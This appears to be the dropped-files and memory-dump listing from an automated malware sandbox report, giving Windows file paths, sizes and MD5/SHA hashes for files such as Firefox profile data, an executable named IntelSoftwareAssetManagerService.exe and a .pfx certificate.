MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpaddon

Filesize
479KB

MD5
09372174e83dbbf696ee732fd2e875bb

SHA1
ba360186ba650a769f9303f48b7200fb5eaccee1

SHA256
c32efac42faf4b9878fb8917c5e71d89ff40de580c4f52f62e11c6cfab55167f

SHA512
b667086ed49579592d435df2b486fe30ba1b62ddd169f19e700cd079239747dd3e20058c285fa9c10a533e34f22b5198ed9b1f92ae560a3067f3e3feacc724f1

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpaddon-1

Filesize
13.8MB

MD5
0a8747a2ac9ac08ae9508f36c6d75692

SHA1
b287a96fd6cc12433adb42193dfe06111c38eaf0

SHA256
32d544baf2facc893057a1d97db33207e642f0dacf235d8500a0b5eff934ce03

SHA512
59521f8c61236641b3299ab460c58c8f5f26fa67e828de853c2cf372f9614d58b9f541aae325b1600ec4f3a47953caacb8122b0dfce7481acfec81045735947d

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4ld3ilkk.default-release\AlternateServices.bin

Filesize
10KB

MD5
6e216988dc5d6406c070393be8a02564

SHA1
f253c93878d8e3b14d624d27e19c333111b1eb0a

SHA256
4a5b507e399270a56553514a86694a4ed38c703cf3571817c1b47635e5d5390d

SHA512
4aef1a9a5bc854c589db0a8b210aa617122e2eba970d08bb6b302b1ed4f3eb063b7624dbdbe5d44c62b445f393fb5820b9c03f8513212336fc6762d04b50b3b5

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4ld3ilkk.default-release\datareporting\glean\db\data.safe.tmp

Filesize
22KB

MD5
d6de0ff7985c71b33f5d380b21ffbf6b

SHA1
512a225bc0590b9b808b3192928bb2e1db179609

SHA256
86849de7e50a6967ea4b2f4966361e0979e6cc704ba0baca56de43550af9151b

SHA512
378290ee47076d8de92e44c8cc7a3994e66480e1d0848ee93c26aa1f02a5ae1ba9604d8a12c421744c0be96271417195b97e19f561f640d3092eb1a0b2801600

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4ld3ilkk.default-release\datareporting\glean\db\data.safe.tmp

Filesize
26KB

MD5
abe017d0c8c5275da229265f81563160

SHA1
965c9ef9400e003f5077b7b68fc6abfdc9254eed

SHA256
caa5f80b0774bcc37a573ea4cc95843e2f0693b01cf900e8777a34169e4d8beb

SHA512
ffdc080baa067022b8f7448fbc380e3091a9080ae38a08d293137ef12ca29d9f4b5602ae5053fadb728bf5a997446c4bc03869ad4ffcdf37eb21236968541388

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4ld3ilkk.default-release\datareporting\glean\db\data.safe.tmp

Filesize
23KB

MD5
19eec264e844e117a5f5b869f5cdc672

SHA1
c2e4301f24e5973010155c92ceed9d681aacd3f8

SHA256
b7c48e8154058512a2bcdc6e63bc781bad892c79882e6ee06a520c12e46c45c3

SHA512
541714eda019f8934b0a9f707eddc59dc6e344d9696be2d1aa9f53b52bdd184f3815e01c5db19552fa9d48a589af38f6edc0412d37943b9f8071115b8ef81374

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4ld3ilkk.default-release\datareporting\glean\db\data.safe.tmp

Filesize
23KB

MD5
a30fa8bc6bc2f2da61d3dff2e1cdaf2f

SHA1
207a0258fa143ef8f4bb15e76611a832fd1f2e9f

SHA256
902e5310fda68c55ab2ac93b623b63a77fcf1ed73db39a2cb640edcc68b2d306

SHA512
c75ce47bf2836f3d00fdb9eb9c36ea52e42ffcb55be4dd4e8d01e70c55c45cfd158209347c56493079986b591a86f47cd2e59f1c52fe16e2685ff5a2e5e4c3e0

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4ld3ilkk.default-release\datareporting\glean\pending_pings\6039c833-6f35-495b-8fb7-ddf905a65912

Filesize
982B

MD5
377fa7892c587e6058a0b1512ad5d236

SHA1
a4ff179d433297e2add659010c2c4fa86282410e

SHA256
eb7be929fdc337f39b1219c6cf08177053098e7d7370be8ed15274a6b43267b9

SHA512
03821805536a6b22c4b5c6f3fdd4493ab2ee180d9caa0039f9d594bea91c6f04b570796503d9a47df303f9737c17e6534a99de5696dfa0a481492806721a20c3

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4ld3ilkk.default-release\datareporting\glean\pending_pings\e24a70e7-796f-4c8c-8173-ca938a30f14f

Filesize
659B

MD5
7ee187bd88730439132eb9c3c394d741

SHA1
ca03f164710983d8041e4cf4d215caef7b45fc19

SHA256
ec1b39480794e263684c09574ca428554ca8aa9f286829ced98b21d1a519c3bc

SHA512
562bd81d25260950e70290ccc6dc5e9614af689bfa8ab059645146c1560c06da663d0435e312907d382dfb5af2bed4678745a2a111bfa681b2cd07fa95f3ce48

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4ld3ilkk.default-release\gmp-gmpopenh264\2.3.2\gmpopenh264.dll

Filesize
1.1MB

MD5
842039753bf41fa5e11b3a1383061a87

SHA1
3e8fe1d7b3ad866b06dca6c7ef1e3c50c406e153

SHA256
d88dd3bfc4a558bb943f3caa2e376da3942e48a7948763bf9a38f707c2cd0c1c

SHA512
d3320f7ac46327b7b974e74320c4d853e569061cb89ca849cd5d1706330aca629abeb4a16435c541900d839f46ff72dfde04128c450f3e1ee63c025470c19157

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4ld3ilkk.default-release\gmp-gmpopenh264\2.3.2\gmpopenh264.info

Filesize
116B

MD5
2a461e9eb87fd1955cea740a3444ee7a

SHA1
b10755914c713f5a4677494dbe8a686ed458c3c5

SHA256
4107f76ba1d9424555f4e8ea0acef69357dfff89dfa5f0ec72aa4f2d489b17bc

SHA512
34f73f7bf69d7674907f190f257516e3956f825e35a2f03d58201a5a630310b45df393f2b39669f9369d1ac990505a4b6849a0d34e8c136e1402143b6cedf2d3

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4ld3ilkk.default-release\gmp-widevinecdm\4.10.2710.0\manifest.json

Filesize
372B

MD5
bf957ad58b55f64219ab3f793e374316

SHA1
a11adc9d7f2c28e04d9b35e23b7616d0527118a1

SHA256
bbab6ca07edbed72a966835c7907b3e60c7aa3d48ddea847e5076bd05f4b1eda

SHA512
79c179b56e4893fb729b225818ab4b95a50b69666ac41d17aad0b37ab0ca8cd9f0848cbc3c5d9e69e4640a8b261d7ced592eae9bcb0e0b63c05a56e7c477f44e

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4ld3ilkk.default-release\gmp-widevinecdm\4.10.2710.0\widevinecdm.dll

Filesize
17.8MB

MD5
daf7ef3acccab478aaa7d6dc1c60f865

SHA1
f8246162b97ce4a945feced27b6ea114366ff2ad

SHA256
bc40c7821dcd3fea9923c6912ab1183a942c11b7690cfd79ed148ded0228777e

SHA512
5840a45cfdb12c005e117608b1e5d946e1b2e76443ed39ba940d7f56de4babeab09bee7e64b903eb82bb37624c0a0ef19e9b59fbe2ce2f0e0b1c7a6015a63f75

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4ld3ilkk.default-release\prefs-1.js

Filesize
11KB

MD5
1884704b7378d79e051f036e7e74c1bd

SHA1
dfb84d94b9a0a1ef089fce65284fed3b37818475

SHA256
c671f446e1809407c9aaadc4d7eba69997e17a927e47632f109bddf5d387da3c

SHA512
7d05d835eea82053ae4a943a7440a32ec1eb40bad489796f593bc5cd2f6fcf26a339f7e766b6790cde6e33018ed0b42c04e26bc838a2a9cd7bbf508b68a05b4b

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4ld3ilkk.default-release\sessionstore-backups\recovery.baklz4

Filesize
1KB

MD5
5b56f9cd5ad1756c914c5f2397953147

SHA1
7b442e627966a5254db3151e8fdaadcbd62e505e

SHA256
a5e8ee8c8fec6bd0918d8d1aceee16b8f0dca9ad1bb2e5c3fb102172bb965243

SHA512
6cf24bcf4fce23ab4352c2d0e7ced9a5dcb4ae5b5422e69114557ff59d56544d21dcba71e721e5840d4539786a68e3e766d2dcb70cec6ac9bd6f0bff8b62c33b

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4ld3ilkk.default-release\sessionstore-backups\recovery.baklz4

Filesize
1KB

MD5
58b8c1390fbd2352c6045b5fe06cfd7d

SHA1
73a096524268e328c38af720ddd50b243aa64a5e

SHA256
9fcd0eafcc41456d77090e3447427a45fce5dd36e881afd33994b38bfbaf47c2

SHA512
9a6aeaab406cfc8860670656367fcc5c52e3879fc70a7b8d5ebd995ab1cf9ff7b329a2ecbf33e9df8a78244b9d3c86ce968bfabb5f7bd54bc5dee75e7c9126d4

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4ld3ilkk.default-release\sessionstore-backups\recovery.baklz4

Filesize
1KB

MD5
d3a541c40d060459d4007bc019f10e64

SHA1
7005bf4940472fa60b37ccfdc18708efe5e372ee

SHA256
0fe7f5367f84eb6d386dd737f31e3cf0897eb6fdebc43f2ae7f756f83e063633

SHA512
12df1d2132140e21c07a25de29b477f6e19c73a658b2df0ea27cc139e2224c3e8cb1b080947bb58e66a6b622ac2f8a957833f4ec379cf122159d2d39e136423a

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4ld3ilkk.default-release\sessionstore-backups\recovery.baklz4

Filesize
1KB

MD5
cf031a8cc470601009ff5e2e83eb5320

SHA1
14f8aa0d053d340fb5494318d59ea77beeb95221

SHA256
dda08439c723ff967d047db8aa0f99128d642272b6b99005c6b08046c559cea8

SHA512
f1584d1ab5a6d4d8e22ff21a1f1ca057ae0d5ae5b97890e4d568d57539d3c599b0ac3536ec2f2486d7696277e29a73531debb43e0e441b130c8d3c0da99d977f

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4ld3ilkk.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite

Filesize
384KB

MD5
0143644c4024fac6784d4ce66241c840

SHA1
065f6ddd7d2d9eda66e2de3e34ef5dfc29ab4555

SHA256
70cbf40881c1ad7102d0bd2ae67e77283fc5ee0e38f6f7cca29bb8f68adeee70

SHA512
1d5360c863d775b77f4a59af9aa090d26e44deec3e30fc0d2de996f3010a4ad2222bbf8f219cc76b8766fbf099a86b6f2eade880c7a5f8ed6fecefd99c06f36a

Download Submit
C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe

Filesize
238KB

MD5
66574582c2e810055676407bdd671636

SHA1
71a07c0906e65524d6844aa0a65e90ee682eb6c5

SHA256
5a05e0c1a7b22baaaa9268ef6f0d9a5524826fdc3871a59c5134f7354baa9346

SHA512
04c5dc624009d1127319f0f32c137a4bab6b1aec10e3fd5fdad4372c8a09b8f894980834d6d0d5ee3920ccb3aa3d3e84fe6e1010b6b6dabdb6c20e2f047b5341

Download Submit
C:\Windows\IME\zvcjd0.pfx

Filesize
2KB

MD5
044c6ed5926cda780ca3506829585245

SHA1
b958068c7f440fffd712e9a0704f5234537b22d4

SHA256
21115f915d5e38fb38be88a627010d39cb7e4b0008854530e3a8fa117f45cfea

SHA512
4d00d57e4f0e12c01d5455cf81f685b04b9446aa026b8579009a271dab5eacc298530625e995ff910a9cc6442392fd2098d517b86b7ad0f713f689324e5f0601

Download Submit
memory/2376-310-0x000001BA3C2E0000-0x000001BA3C356000-memory.dmp

Filesize
472KB

Download
memory/2376-360-0x000001BA3C060000-0x000001BA3C072000-memory.dmp

Filesize
72KB

Download
memory/2376-359-0x000001BA221C0000-0x000001BA221CA000-memory.dmp

Filesize
40KB

Download
memory/2376-15-0x000001BA21B90000-0x000001BA21BD0000-memory.dmp

Filesize
256KB

Download
memory/2376-319-0x000001BA3C040000-0x000001BA3C05E000-memory.dmp

Filesize
120KB

Download
memory/2376-318-0x000001BA3C360000-0x000001BA3C3B0000-memory.dmp

Filesize
320KB

Download
memory/2420-288-0x000002B7AA750000-0x000002B7AA772000-memory.dmp

Filesize
136KB

Download